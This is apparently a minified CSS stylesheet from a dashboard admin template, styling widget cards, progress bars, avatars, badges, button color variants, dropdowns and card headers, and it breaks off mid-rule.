.flat-card.widget-purple-card .row-table > [class*="col-"] { border-bottom: none; display: inline-block; vertical-align: middle; } .widget-primary-card.flat-card .row-table > [class*="col-"]:first-child, .flat-card.widget-purple-card .row-table > [class*="col-"]:first-child { background-color: darkslateblue; text-align: center; } .widget-primary-card.flat-card .row-table > [class*="col-"] .row, .flat-card.widget-purple-card .row-table > [class*="col-"] .row { display: flex; align-items: center; } .widget-purple-card.flat-card { background-color: #6fd943; } .widget-purple-card.flat-card .row-table:first-child { border-bottom: none; } .widget-purple-card.flat-card .row-table > [class*="col-"] { border-bottom: none; } .widget-purple-card.flat-card .row-table > [class*="col-"]:first-child { background-color: #5fd52e; } .flat-card .row-table { display: table; align-items: center; table-layout: fixed; height: 100%; width: 100%; margin: 0; } .flat-card .row-table .br { border-right: 1px solid #f1f1f1; } .flat-card .row-table i { font-size: 30px; } .flat-card .row-table span { text-transform: uppercase; font-size: 12px; } .flat-card .row-table h5, .flat-card .row-table .h5 { display: block; margin-bottom: 0.3em; margin-right: 0; } .flat-card .row-table > [class*="col-"] { display: inline-block; float: none; table-layout: fixed; vertical-align: middle; width: calc(100% / 3); } .flat-card .row-table > [class*="col-"] .row { display: flex; align-items: center; } @media (max-width: 575.98px) { .flat-card .row-table { display: block; } .flat-card .row-table > [class*="col-"] { display: inline-block; width: calc(50% - 2px) !important; border-bottom: 1px solid #f1f1f1; } } .flat-card[class*="widget-"] .row-table { display: flex; } .balance-card .progress { width: 100%; height: 8px; background-color: #f8f9fd; border-radius: 30px; } .balance-card .progress .progress-bar { border-radius: 30px; } .card-progress .progress { height: 8px; width: 100%; position: relative; top: 8px; left: 0; border-radius: 0; overflow: inherit; } .feed-card h6, .feed-card .h6 { margin-top: 7px; font-size: 14px; transition: all 0.3s ease-in-out; } .feed-card h6 > span, .feed-card .h6 > span { font-size: 11px; } .feed-card h6:hover, .feed-card .h6:hover { color: #51459d; } .feed-card .feed-icon { border-radius: 50%; width: 30px; height: 30px; text-align: center; padding: 8px 9px; } .feed-card .card-body { position: relative; padding-left: 25px; } .feed-card .card-body.p-t-0.p-b-0 { padding-left: 12px; } .feed-card .card-body .border-feed { border-top-left-radius: 5px; border-bottom-left-radius: 5px; transition: all 0.3s ease-in-out; position: relative; } .feed-card .card-body .border-feed i { position: absolute; top: calc(50% - 20px); left: 0; right: 0; text-align: center; color: #fff; transition: all 0.3s ease-in-out; } .feed-card .card-body .border-feed i.material-icons-two-tone { background-color: #fff; } .feed-card:hover .border-feed.bg-primary { background-color: rgba(81, 69, 157, 0.3) !important; } .feed-card:hover .border-feed.bg-primary i { color: #51459d; } .feed-card:hover .border-feed.bg-primary i.material-icons-two-tone { background-color: #51459d; } .feed-card:hover .border-feed.bg-danger { background-color: rgba(255, 58, 110, 0.3) !important; } .feed-card:hover .border-feed.bg-danger i { color: #ff3a6e; } .feed-card:hover .border-feed.bg-danger i.material-icons-two-tone { background-color: #ff3a6e; } .feed-card:hover .border-feed.bg-success { background-color: rgba(111, 217, 67, 0.3) !important; } .feed-card:hover .border-feed.bg-success i { color: #6fd943; } .feed-card:hover .border-feed.bg-success i.material-icons-two-tone { background-color: #6fd943; } .feed-card:hover .border-feed.bg-warning { background-color: rgba(255, 162, 29, 0.3) !important; } .feed-card:hover .border-feed.bg-warning i { color: #ffa21d; } .feed-card:hover .border-feed.bg-warning i.material-icons-two-tone { background-color: #ffa21d; } .total-request-card .progress { width: 85%; float: left; height: 5px; text-align: center; margin: 0 auto; background-color: #f8f9fd; border-radius: 30px; } .total-request-card .progress .progress-bar { border-radius: 30px; } .total-request-card hr { width: 50px; border-top: 1px solid #f1f1f1; margin-top: 20px; margin-bottom: 20px; } .total-request-card i { position: relative; top: 5px; } .widget-statstic-card { position: relative; overflow: hidden; } .widget-statstic-card .st-icon { color: #fff; padding: 40px 40px 20px 20px; border-radius: 50%; position: absolute; top: -30px; right: -30px; box-shadow: 0 6px 30px rgba(182, 186, 203, 0.3); } .widget-statstic-card .st-icon > svg { transition: all 0.3s ease-in-out; width: 23px; height: 23px; } .widget-statstic-card h2, .widget-statstic-card .h2 { font-weight: 600; display: inline-block; } .widget-statstic-card span { border-radius: 30px; padding: 5px 20px; color: #fff; font-weight: 600; } .widget-statstic-card:hover .st-icon > svg { width: 50px; height: 50px; } .order-card { color: #fff; overflow: hidden; } .order-card .card-icon { position: absolute; right: -17px; top: 20px; font-size: 100px; opacity: 0.5; } .order-card .card-icon > svg { width: 100px; height: 100px; } .statustic-card .card-body { position: relative; } .statustic-card .card-body .progress { position: absolute; bottom: 0; width: 100%; left: 0; height: 5px; overflow: visible; } .statustic-card .card-body .progress .progress-bar { position: relative; overflow: visible; box-shadow: none; } .statustic-card .card-body .progress .progress-bar:before { content: ""; height: 5px; width: 5px; border-radius: 50%; position: absolute; right: 0; background: inherit; } .statustic-card .card-body .progress .progress-bar.bg-primary:before { animation: blue-blink-bar 0.5s linear infinite; } .statustic-card .card-body .progress .progress-bar.bg-success:before { animation: green-blink-bar 0.5s linear infinite; } .statustic-card .card-body .progress .progress-bar.bg-danger:before { animation: red-blink-bar 0.5s linear infinite; } .statustic-card .card-body .progress .progress-bar.bg-warning:before { animation: yellow-blink-bar 0.5s linear infinite; } @keyframes blue-blink-bar { 0% { box-shadow: 0 0 0 0 rgba(81, 69, 157, 0.1); } 50% { box-shadow: 0 0 0 6px rgba(81, 69, 157, 0.3); } } @keyframes green-blink-bar { 0% { box-shadow: 0 0 0 0 rgba(111, 217, 67, 0.1); } 50% { box-shadow: 0 0 0 6px rgba(111, 217, 67, 0.3); } } @keyframes red-blink-bar { 0% { box-shadow: 0 0 0 0 rgba(255, 58, 110, 0.1); } 50% { box-shadow: 0 0 0 6px rgba(255, 58, 110, 0.3); } } @keyframes yellow-blink-bar { 0% { box-shadow: 0 0 0 0 rgba(255, 162, 29, 0.1); } 50% { box-shadow: 0 0 0 6px rgba(255, 162, 29, 0.3); } } .social-card { color: #fff; overflow: hidden; } .social-card .social-icon { background-color: #fff; border-radius: 5px; text-align: center; padding: 22px 23px; } .social-card .download-icon { color: #fff; background-color: rgba(255, 255, 255, 0.5); position: absolute; height: 125px; width: 125px; right: -125px; padding: 47px 22px; border-radius: 50%; transition: all 0.3s ease-in-out; } .social-card .download-icon > svg { width: 35px; height: 35px; } .social-card:hover .download-icon { right: -60px; } .order-visitor-card { cursor: pointer; } .order-visitor-card:hover { background-color: #51459d; } .order-visitor-card:hover h4, .order-visitor-card:hover .h4, .order-visitor-card:hover h6, .order-visitor-card:hover .h6, .order-visitor-card:hover p { color: #fff; } .widget-visitor-card { overflow: hidden; padding: 10px 0; } .widget-visitor-card i, .widget-visitor-card svg { font-size: 80px; color: #fff; width: 80px; height: 80px; position: absolute; bottom: -10px; opacity: 0.3; left: -10px; transform: rotate(15deg); transition: all 0.3s ease-in-out; } .widget-visitor-card:hover svg { transform: rotate(0deg) scale(1.4); opacity: 0.5; } .app-design .btn { padding: 5px 8px; font-size: 12px; font-weight: 600; border-radius: 5px; } .app-design .team-section img { width: 35px; border-radius: 5px; } .app-design .progress-box p { margin-bottom: 0; } .app-design .progress-box .progress { width: calc(100% - 80px); height: 8px; text-align: center; margin: 0 auto; background-color: #e5e5e5; border-radius: 30px; position: relative; overflow: inherit; } .app-design .progress-box .progress .progress-bar { border-radius: 30px; } .app-design .progress-box .progress .progress-bar label { position: absolute; top: -24px; right: 0; font-weight: 600; font-size: 13px; } .user-card-full { overflow: hidden; } .user-card-full .user-profile-side { border-radius: 5px 0 0 5px; } .user-card-full .social-link li { display: inline-block; } .user-card-full .social-link li a { color: #293240; margin: 0 10px 0 0; transition: all 0.3s ease-in-out; } .user-card-full .social-link li a svg { width: 20px; height: 20px; } .img-radius { border-radius: 50%; } .quater-card .progress { height: 4px; } .statustic-progress-card .progress { height: 5px; } .trafic-card .progress { height: 7px; } .trafic-card .progress.blue { background-color: rgba(81, 69, 157, 0.5); } .trafic-card .progress.green { background-color: rgba(111, 217, 67, 0.5); } .trafic-card .progress.red { background-color: rgba(255, 58, 110, 0.5); } .trafic-card .progress.purple { background-color: rgba(62, 201, 214, 0.5); } .trafic-card .progress.yellow { background-color: rgba(255, 162, 29, 0.5); } .total-card { overflow: hidden; } .total-card .text-start h4, .total-card .text-start .h4 { color: #fff; font-weight: 400; margin-bottom: 5px; } .total-card .text-start p { color: #fff; font-size: 15px; } .table-card .row-table { display: flex; align-items: center; table-layout: fixed; height: 100%; width: 100%; margin: 0; } .table-card .row-table svg { margin: 0 20px; } .table-card .row-table > [class*="col-"] { display: table-cell; float: none; table-layout: fixed; vertical-align: middle; } .table-card .row-table > [class*="col-"] .row { display: flex; align-items: center; } .rides-bar .rides-icon { background: #51459d; border-radius: 50px; padding: 15px; } .visitor .img-female { position: absolute; left: 10px; bottom: 0; } .visitor .img-men { position: absolute; right: 10px; bottom: 0; } .profit-bar .mon-icon { padding: 20px; border-radius: 50px; display: inline-block; float: right; } .profit-bar .mon-icon svg { width: 25px; height: 25px; } .user-card .label { border-radius: 15px; padding: 5px 10px; margin-right: 10px; margin-bottom: 0; box-shadow: 0 6px 30px rgba(182, 186, 203, 0.3); } .leads-progress .progress, .progress-gender .progress { justify-content: center; height: 10px; border-radius: 0; } .Active-visitor .progress { height: 7px; } .Active-visitor .card-active > div + div { border-left: 1px solid #f1f1f1; } @media screen and (max-width: 767px) { .Active-visitor .card-active [class*="col-"]:last-child { border-left: 0; margin-top: 20px; } } .card-Revenue .rev-icon { background: rgba(255, 255, 255, 0.2); width: 70px; height: 70px; border-radius: 50%; text-align: center; display: flex; justify-content: center; align-items: center; transition: all 0.3s ease-in-out; } .Invoice-bar .invoice-lable label { background: #fff; border-radius: 15px; padding: 4px 20px; } .Invoice-bar .inv-icon { background: rgba(255, 255, 255, 0.2); width: 70px; height: 70px; border-radius: 50%; text-align: center; display: flex; justify-content: center; align-items: center; transition: all 0.3s ease-in-out; } .Invoice-bar .progress { background: rgba(255, 255, 255, 0.22); border-radius: 0; height: 7px; box-shadow: 0 5px 10px 0 rgba(0, 0, 0, 0.1); } .location-sale .card-icon { width: 70px; height: 70px; background: #fff; border-radius: 50%; position: absolute; top: -20px; text-align: center; right: 0; left: 0; margin: 0 auto; display: flex; justify-content: center; align-items: center; } @media screen and (max-width: 768px) { .location-sale .card-icon { display: none; } } .card-Impression .imp-icon { width: 52px; height: 52px; border-radius: 5px; text-align: center; display: flex; justify-content: center; align-items: center; box-shadow: 0 6px 30px rgba(182, 186, 203, 0.3); } .card-customer .hct-icon { width: 70px; height: 70px; justify-content: center; align-items: center; display: flex; border-radius: 5px; box-shadow: 0 6px 30px rgba(182, 186, 203, 0.3); } @media screen and (max-width: 375px) { .card-customer .hct-icon { width: 80px; height: 80px; font-size: 50px; } } .ticket-customer .tick-icon { position: absolute; opacity: 0.2; right: 32px; bottom: 30px; } .customer-visitor .vis-icon { opacity: 0.2; width: 120px; height: 120px; position: absolute; bottom: 0; left: 0; } .card-social:hover i { font-size: 40px; transition: all 0.3s ease-in-out; } .card-social .progress { height: 6px; } .card-social .card-active > div + div { border-left: 1px solid #f1f1f1; } .Online-Order .progress, .statistial-visit .progress { height: 6px; } .affilate-offers .card-icon { opacity: 0.5; } .affilate-offers .label { border-radius: 15px; margin: 0; padding: 8px 18px; } .team-leader .slide li { width: 10px; height: 10px; background-color: #dcdaeb; margin: 0 6px; border-radius: 50px; } .team-leader .slide .carousel-indicators { margin-bottom: -10px; margin-top: 10px; } .team-leader .slide .carousel-indicators .active { background-color: #51459d; } .earning-date .bd-example { padding: 0; margin: 0; border: 0; } .earning-date .bd-example .nav-pills { background: transparent; padding: 0; box-shadow: none; } .earning-date .bd-example .nav-pills .nav-link { min-width: auto; padding: 6px 20px; color: #fff; } .earning-date .bd-example .nav-pills .nav-link.active { position: relative; background: #fff; box-shadow: none; color: #51459d; } .earning-date .bd-example .nav-pills .nav-link.active:after { content: ""; position: absolute; border-left: 5px solid transparent; border-right: 5px solid transparent; border-bottom: 5px solid #fff; top: -5px; left: 0; right: 0; margin: 0 auto; width: 11px; } .earning-date .bd-example .tab-content { background: transparent; padding: 0; box-shadow: none; } .sale-view .sale-icon { width: 60px; height: 60px; border-radius: 50%; display: flex; justify-content: center; align-items: center; box-shadow: 0 5px 10px 0 rgba(0, 0, 0, 0.2); } .project-task svg { opacity: 0.5; } .project-task .label { border-radius: 15px; margin: 0; padding: 6px 16px; } .project-task .progress { height: 6px; } .summary-box .card-icon { opacity: 0.4; } .card-event .label { border-radius: 15px; margin: 0; padding: 5px 16px; } .card-event svg { position: absolute; bottom: 20px; right: 25px; } .statistial-visit .label { padding: 4px 10px; border-radius: 40px; } .Design-sprint .design-image, .dashboard-kit .design-image { padding: 0; margin: 30px 0 0; list-style: none; } .Design-sprint li, .dashboard-kit li { display: inline-block; text-align: center; margin-right: 3px; } .Design-sprint .btn, .dashboard-kit .btn { border-radius: 50px; border: 0; width: 40px; height: 40px; padding: 0; margin: 0; } .Design-sprint i, .dashboard-kit i { opacity: 0.3; } .post-emoticon ul { padding: 0; margin: 25px 0 0; list-style: none; } .post-emoticon li { display: inline-block; } .ux-designer { position: relative; padding: 35px 30px; } .ux-designer .btn { border-radius: 50px; border: 0; width: 50px; height: 50px; position: absolute; right: 20px; top: -20px; padding: 0; margin: 0; } .visa-top .visa img { position: absolute; left: 0; right: 0; bottom: 0; } .loction-user .row { padding: 35px 30px; } .loction-user svg { opacity: 0.5; } .loction-user .loction-progress { padding: 35px 30px; } .loction-user .loction-progress .progress { justify-content: center; height: 10px; border-radius: 0; } .task-list { list-style: none; position: relative; margin: 0; padding: 30px 0 0; } .task-list:after { content: ""; position: absolute; background: #ecedef; height: 100%; width: 2px; top: 0; left: 30px; z-index: 1; } .task-list li { margin-bottom: 30px; padding-left: 55px; position: relative; } .task-list li:last-child { margin-bottom: 0; } .task-list li .task-icon { position: absolute; left: 22px; top: 13px; border-radius: 50%; padding: 2px; width: 17px; height: 17px; z-index: 2; box-shadow: 0 5px 10px 0 rgba(0, 0, 0, 0.2); } .project-main svg { opacity: 0.4; } .Application-list .table td, .code-table .table td { vertical-align: middle; } .Application-list .table .label, .code-table .table .label { padding: 4px 10px; border-radius: 15px; } .Application-list thead th, .code-table thead th { border: 0; } .chat-sanders .card-header { background: linear-gradient(-135deg, #3f4d67 0%, #3f4d67 100%); } .chat-sanders .msg { margin-bottom: 5px; display: inline-block; padding: 15px; position: relative; } .chat-sanders .scroll-wrapper { height: 305px; } .chat-sanders .received-chat h5, .chat-sanders .received-chat .h5 { border-radius: 50%; width: 40px; height: 40px; text-align: center; } .chat-sanders .received-chat .msg { background: #fff; box-shadow: 0 5px 10px 0 rgba(0, 0, 0, 0.1); } .chat-sanders .received-chat .msg:after { content: ""; position: absolute; left: -12px; bottom: 18px; transform: rotate(270deg); border: 6px solid transparent; border-bottom-color: #fff; } .chat-sanders .send-chat h5, .chat-sanders .send-chat .h5 { border-radius: 50%; width: 40px; height: 40px; text-align: center; } .chat-sanders .send-chat .msg { background: #51459d; box-shadow: 0 5px 10px 0 rgba(0, 0, 0, 0.1); } .chat-sanders .send-chat .msg:after { content: ""; position: absolute; right: -11px; bottom: 18px; transform: rotate(450deg); border: 6px solid transparent; border-bottom-color: #51459d; } .note-bar .friendlist-box { padding: 25px 35px; border-top: 1px solid #f1f1f1; } .note-bar .friendlist-box:first-child { border: 0; } .note-bar .friendlist-box h6, .note-bar .friendlist-box .h6 { display: inline-block; } .note-bar .friendlist-box svg { opacity: 0.2; color: #293240; } .widget-content .widget-lorem .media h5, .widget-content .widget-lorem .media .h5 { border-radius: 50%; width: 50px; height: 50px; text-align: center; } .social-media .progress { background: transparent; border-radius: 0; justify-content: center; } .social-media .progress h5, .social-media .progress .h5 { position: relative; top: -2px; } .avtar { display: inline-flex; align-items: center; justify-content: center; border-radius: 50%; font-size: 18px; font-weight: 600; width: 48px; height: 48px; } .avtar.avtar-xs { width: 32px; height: 32px; font-size: 12px; } .avtar.avtar-s { width: 40px; height: 40px; font-size: 14px; } .avtar.avtar-l { width: 64px; height: 64px; font-size: 20px; } .avtar.avtar-xl { width: 80px; height: 80px; font-size: 24px; } .avtar.avtar-square { border-radius: 4px; border: 2px solid; } .avtar.avtar-icon { border: 2px solid #f1f1f1; } .avtar.avtar-icon > img { width: 60%; } .badge.bg-light-primary { background: #dcdaeb; color: #51459d; border-color: #dcdaeb; } .badge.bg-light-secondary { background: #e2e3e5; color: #6c757d; border-color: #e2e3e5; } .badge.bg-light-success { background: #e2f7d9; color: #6fd943; border-color: #e2f7d9; } .badge.bg-light-info { background: #d8f4f7; color: #3ec9d6; border-color: #d8f4f7; } .badge.bg-light-warning { background: #ffecd2; color: #ffa21d; border-color: #ffecd2; } .badge.bg-light-danger { background: #ffd8e2; color: #ff3a6e; border-color: #ffd8e2; } .badge.bg-light-light { background: #fefefe; color: #f8f9fa; border-color: #fefefe; } .badge.bg-light-dark { background: #d2d3d5; color: #1c232f; border-color: #d2d3d5; } .btn { font-size: 14px; } .btn i { font-size: 18px; } .btn svg { width: 18px; height: 18px; } .btn[class*="btn-light-"] { box-shadow: none; } .btn[class*="btn-outline-"]:not(:hover) { box-shadow: none; } .btn.btn-shadow { box-shadow: 0 6px 7px -1px rgba(80, 86, 175, 0.3); } .btn.btn-sm i, .btn-group-sm > .btn i { font-size: 14px; } .btn[class*="btn-gradient-"] { border: none !important; } .btn-light-primary { background: #dcdaeb; color: #51459d; border-color: #dcdaeb; } .btn-light-primary:hover { background: #51459d; color: #fff; border-color: #51459d; } .btn-light-primary.focus, .btn-light-primary:focus { background: #51459d; color: #fff; border-color: #51459d; } .btn-light-primary:not(:disabled):not(.disabled).active, .btn-light-primary:not(:disabled):not(.disabled):active, .show > .btn-light-primary.dropdown-toggle { background: #51459d; color: #fff; border-color: #51459d; } .btn-check:active + .btn-light-primary, .btn-check:checked + .btn-light-primary { background: #51459d; color: #fff; border-color: #51459d; } .btn-light-secondary { background: #e2e3e5; color: #6c757d; border-color: #e2e3e5; } .btn-light-secondary:hover { background: #6c757d; color: #fff; border-color: #6c757d; } .btn-light-secondary.focus, .btn-light-secondary:focus { background: #6c757d; color: #fff; border-color: #6c757d; } .btn-light-secondary:not(:disabled):not(.disabled).active, .btn-light-secondary:not(:disabled):not(.disabled):active, .show > .btn-light-secondary.dropdown-toggle { background: #6c757d; color: #fff; border-color: #6c757d; } .btn-check:active + .btn-light-secondary, .btn-check:checked + .btn-light-secondary { background: #6c757d; color: #fff; border-color: #6c757d; } .btn-light-success { background: #e2f7d9; color: #6fd943; border-color: #e2f7d9; } .btn-light-success:hover { background: #6fd943; color: #fff; border-color: #6fd943; } .btn-light-success.focus, .btn-light-success:focus { background: #6fd943; color: #fff; border-color: #6fd943; } .btn-light-success:not(:disabled):not(.disabled).active, .btn-light-success:not(:disabled):not(.disabled):active, .show > .btn-light-success.dropdown-toggle { background: #6fd943; color: #fff; border-color: #6fd943; } .btn-check:active + .btn-light-success, .btn-check:checked + .btn-light-success { background: #6fd943; color: #fff; border-color: #6fd943; } .btn-light-info { background: #d8f4f7; color: #3ec9d6; border-color: #d8f4f7; } .btn-light-info:hover { background: #3ec9d6; color: #fff; border-color: #3ec9d6; } .btn-light-info.focus, .btn-light-info:focus { background: #3ec9d6; color: #fff; border-color: #3ec9d6; } .btn-light-info:not(:disabled):not(.disabled).active, .btn-light-info:not(:disabled):not(.disabled):active, .show > .btn-light-info.dropdown-toggle { background: #3ec9d6; color: #fff; border-color: #3ec9d6; } .btn-check:active + .btn-light-info, .btn-check:checked + .btn-light-info { background: #3ec9d6; color: #fff; border-color: #3ec9d6; } .btn-light-warning { background: #ffecd2; color: #ffa21d; border-color: #ffecd2; } .btn-light-warning:hover { background: #ffa21d; color: #fff; border-color: #ffa21d; } .btn-light-warning.focus, .btn-light-warning:focus { background: #ffa21d; color: #fff; border-color: #ffa21d; } .btn-light-warning:not(:disabled):not(.disabled).active, .btn-light-warning:not(:disabled):not(.disabled):active, .show > .btn-light-warning.dropdown-toggle { background: #ffa21d; color: #fff; border-color: #ffa21d; } .btn-check:active + .btn-light-warning, .btn-check:checked + .btn-light-warning { background: #ffa21d; color: #fff; border-color: #ffa21d; } .btn-light-danger { background: #ffd8e2; color: #ff3a6e; border-color: #ffd8e2; } .btn-light-danger:hover { background: #ff3a6e; color: #fff; border-color: #ff3a6e; } .btn-light-danger.focus, .btn-light-danger:focus { background: #ff3a6e; color: #fff; border-color: #ff3a6e; } .btn-light-danger:not(:disabled):not(.disabled).active, .btn-light-danger:not(:disabled):not(.disabled):active, .show > .btn-light-danger.dropdown-toggle { background: #ff3a6e; color: #fff; border-color: #ff3a6e; } .btn-check:active + .btn-light-danger, .btn-check:checked + .btn-light-danger { background: #ff3a6e; color: #fff; border-color: #ff3a6e; } .btn-light-light { background: #fefefe; color: #f8f9fa; border-color: #fefefe; } .btn-light-light:hover { background: #f8f9fa; color: #fff; border-color: #f8f9fa; } .btn-light-light.focus, .btn-light-light:focus { background: #f8f9fa; color: #fff; border-color: #f8f9fa; } .btn-light-light:not(:disabled):not(.disabled).active, .btn-light-light:not(:disabled):not(.disabled):active, .show > .btn-light-light.dropdown-toggle { background: #f8f9fa; color: #fff; border-color: #f8f9fa; } .btn-check:active + .btn-light-light, .btn-check:checked + .btn-light-light { background: #f8f9fa; color: #fff; border-color: #f8f9fa; } .btn-light-dark { background: #d2d3d5; color: #1c232f; border-color: #d2d3d5; } .btn-light-dark:hover { background: #1c232f; color: #fff; border-color: #1c232f; } .btn-light-dark.focus, .btn-light-dark:focus { background: #1c232f; color: #fff; border-color: #1c232f; } .btn-light-dark:not(:disabled):not(.disabled).active, .btn-light-dark:not(:disabled):not(.disabled):active, .show > .btn-light-dark.dropdown-toggle { background: #1c232f; color: #fff; border-color: #1c232f; } .btn-check:active + .btn-light-dark, .btn-check:checked + .btn-light-dark { background: #1c232f; color: #fff; border-color: #1c232f; } .btn-gradient-primary { background: linear-gradient(141.55deg, #51459d, #9a459d); color: #ffffff; } .btn-gradient-primary:hover, .btn-gradient-primary.focus, .btn-gradient-primary:focus { background: linear-gradient(141.55deg, #9a459d, #51459d); color: #ffffff; } .btn-gradient-primary:not(:disabled):not(.disabled).active, .btn-gradient-primary:not(:disabled):not(.disabled):active, .show > .btn-gradient-primary.dropdown-toggle { background: linear-gradient(141.55deg, #9a459d, #51459d); color: #ffffff; } .btn-check:active + .btn-gradient-primary, .btn-check:checked + .btn-gradient-primary { background: linear-gradient(141.55deg, #9a459d, #51459d); color: #ffffff; } .btn-gradient-secondary { background: linear-gradient(141.55deg, #6c757d, #716c7d); color: #ffffff; } .btn-gradient-secondary:hover, .btn-gradient-secondary.focus, .btn-gradient-secondary:focus { background: linear-gradient(141.55deg, #716c7d, #6c757d); color: #ffffff; } .btn-gradient-secondary:not(:disabled):not(.disabled).active, .btn-gradient-secondary:not(:disabled):not(.disabled):active, .show > .btn-gradient-secondary.dropdown-toggle { background: linear-gradient(141.55deg, #716c7d, #6c757d); color: #ffffff; } .btn-check:active + .btn-gradient-secondary, .btn-check:checked + .btn-gradient-secondary { background: linear-gradient(141.55deg, #716c7d, #6c757d); color: #ffffff; } .btn-gradient-success { background: linear-gradient(141.55deg, #6fd943, #43d994); color: #ffffff; } .btn-gradient-success:hover, .btn-gradient-success.focus, .btn-gradient-success:focus { background: linear-gradient(141.55deg, #43d994, #6fd943); color: #ffffff; } .btn-gradient-success:not(:disabled):not(.disabled).active, .btn-gradient-success:not(:disabled):not(.disabled):active, .show > .btn-gradient-success.dropdown-toggle { background: linear-gradient(141.55deg, #43d994, #6fd943); color: #ffffff; } .btn-check:active + .btn-gradient-success, .btn-check:checked + .btn-gradient-success { background: linear-gradient(141.55deg, #43d994, #6fd943); color: #ffffff; } .btn-gradient-info { background: linear-gradient(141.55deg, #3ec9d6, #3e4ad6); color: #ffffff; } .btn-gradient-info:hover, .btn-gradient-info.focus, .btn-gradient-info:focus { background: linear-gradient(141.55deg, #3e4ad6, #3ec9d6); color: #ffffff; } .btn-gradient-info:not(:disabled):not(.disabled).active, .btn-gradient-info:not(:disabled):not(.disabled):active, .show > .btn-gradient-info.dropdown-toggle { background: linear-gradient(141.55deg, #3e4ad6, #3ec9d6); color: #ffffff; } .btn-check:active + .btn-gradient-info, .btn-check:checked + .btn-gradient-info { background: linear-gradient(141.55deg, #3e4ad6, #3ec9d6); color: #ffffff; } .btn-gradient-warning { background: linear-gradient(141.55deg, #ffa21d, #a0ff1d); color: #ffffff; } .btn-gradient-warning:hover, .btn-gradient-warning.focus, .btn-gradient-warning:focus { background: linear-gradient(141.55deg, #a0ff1d, #ffa21d); color: #ffffff; } .btn-gradient-warning:not(:disabled):not(.disabled).active, .btn-gradient-warning:not(:disabled):not(.disabled):active, .show > .btn-gradient-warning.dropdown-toggle { background: linear-gradient(141.55deg, #a0ff1d, #ffa21d); color: #ffffff; } .btn-check:active + .btn-gradient-warning, .btn-check:checked + .btn-gradient-warning { background: linear-gradient(141.55deg, #a0ff1d, #ffa21d); color: #ffffff; } .btn-gradient-danger { background: linear-gradient(141.55deg, #ff3a6e, #ffaa3a); color: #ffffff; } .btn-gradient-danger:hover, .btn-gradient-danger.focus, .btn-gradient-danger:focus { background: linear-gradient(141.55deg, #ffaa3a, #ff3a6e); color: #ffffff; } .btn-gradient-danger:not(:disabled):not(.disabled).active, .btn-gradient-danger:not(:disabled):not(.disabled):active, .show > .btn-gradient-danger.dropdown-toggle { background: linear-gradient(141.55deg, #ffaa3a, #ff3a6e); color: #ffffff; } .btn-check:active + .btn-gradient-danger, .btn-check:checked + .btn-gradient-danger { background: linear-gradient(141.55deg, #ffaa3a, #ff3a6e); color: #ffffff; } .btn-gradient-light { background: linear-gradient(141.55deg, #f8f9fa, #f9f8fa); color: #212529; } .btn-gradient-light:hover, .btn-gradient-light.focus, .btn-gradient-light:focus { background: linear-gradient(141.55deg, #f9f8fa, #f8f9fa); color: #212529; } .btn-gradient-light:not(:disabled):not(.disabled).active, .btn-gradient-light:not(:disabled):not(.disabled):active, .show > .btn-gradient-light.dropdown-toggle { background: linear-gradient(141.55deg, #f9f8fa, #f8f9fa); color: #212529; } .btn-check:active + .btn-gradient-light, .btn-check:checked + .btn-gradient-light { background: linear-gradient(141.55deg, #f9f8fa, #f8f9fa); color: #212529; } .btn-gradient-dark { background: linear-gradient(141.55deg, #1c232f, #251c2f); color: #ffffff; } .btn-gradient-dark:hover, .btn-gradient-dark.focus, .btn-gradient-dark:focus { background: linear-gradient(141.55deg, #251c2f, #1c232f); color: #ffffff; } .btn-gradient-dark:not(:disabled):not(.disabled).active, .btn-gradient-dark:not(:disabled):not(.disabled):active, .show > .btn-gradient-dark.dropdown-toggle { background: linear-gradient(141.55deg, #251c2f, #1c232f); color: #ffffff; } .btn-check:active + .btn-gradient-dark, .btn-check:checked + .btn-gradient-dark { background: linear-gradient(141.55deg, #251c2f, #1c232f); color: #ffffff; } .dropdown-toggle.arrow-none:after { display: none; } .dropdown-menu { padding: 15px 0; box-shadow: 0 4px 24px 0 rgba(62, 57, 107, 0.18); border: none; } .dash-header .dropdown-menu { animation: 0.1s ease-in-out 0s normal forwards 1 fadein; } @keyframes fadein { from { transform: translate3d(0, 8px, 0); opacity: 0; } to { transform: translate3d(0, 0, 0); opacity: 1; } } .dropdown .dropdown-item.active i.material-icons-two-tone, .dropdown .dropdown-item:active i.material-icons-two-tone, .dropdown .dropdown-item:focus i.material-icons-two-tone, .dropdown .dropdown-item:hover i.material-icons-two-tone { background-color: #343a40; } .dropdown .dropdown-item { padding: 10px 25px; } .dropdown .dropdown-item i { font-size: 18px; margin-right: 10px; } .dropdown .dropdown-item i.material-icons-two-tone { vertical-align: bottom; font-size: 22px; background-color: #525b69; } .dropdown .dropdown-item svg { width: 18px; height: 18px; margin-right: 10px; fill: #f2f2f2; } .dropdown .dropdown-item .float-right svg { width: 14px; height: 14px; } .card { box-shadow: 0 6px 30px rgba(182, 186, 203, 0.3); margin-bottom: 24px; transition: box-shadow 0.2s ease-in-out; } .card .card-header { border-bottom: 1px solid #f1f1f1; } .card .card-header .float-end .btn { margin: -6px 0; } .card .card-header h5, .card .card-header .h5 { margin-bottom: 0; color: #060606; font-size: 16px; font-weight: 600; } .card .card-header h5 + p, .card .card-header .h5 + p, .card .card-header h5 + small, .card .card-header .h5 + small, .card .card-header h5 + .small, .card .card-header .h5 + .small { margin-top: 10px; } .card .card-header h5 + p:last-child, .card .card-header .h5 + p:last-child, .card .card-header h5 + small:last-child, .card .card-header .h5 + small:last-child, .card .card-header h5 + .small:last-child, .card .card-header .h5 + .small:last-child { margin-bottom: 0; } .card .card-header:not(.border-0) h5, .card .card-header:not(.border-0) .h5 { position: relative; } .card .card-header:not(.border-0) h5:after, .card .card-header:not(.border-0) .h5:after { content: ""; height: 30px; width: 3px; background: #51459d; position: absolute; left: -25px; top: -5px; border-radius: 0 3px 3px 0; } .card .card-header .card-header-right { right: 10px; top: 10px; float: right; padding: 0; position: absolute; } @media only screen and (max-width: 575px) { .card .card-header .card-header-right { display: none; } } .card .card-header .card-header-right .dropdown-menu { margin-top: 0; } .card .card-header .card-header-right .dropdown-menu li { cursor: pointer; } .card .card-header .card-header-right .dropdown-menu li a { font-size: 14px; text-transform: capitalize; } .card .card-header .card-header-right .btn.dropdown-toggle { border: none; background: transparent; box-shadow: none; color: #888; } .card .card-header .card-header-right .btn.dropdown-toggle i { margin-right: 0; } .card .card-header .card-header-right .btn.dropdown-toggle:after { display: none; } .card .card-header .card-header-right .btn.dropdown-toggle:focus { box-shadow: none; outline: none; } .card .card-header .card-header-right .btn.dropdown-toggle { border: none; background: transparent; box-shadow: none; padding: 0; width: 20px; height: 20px; right: 8px; top: 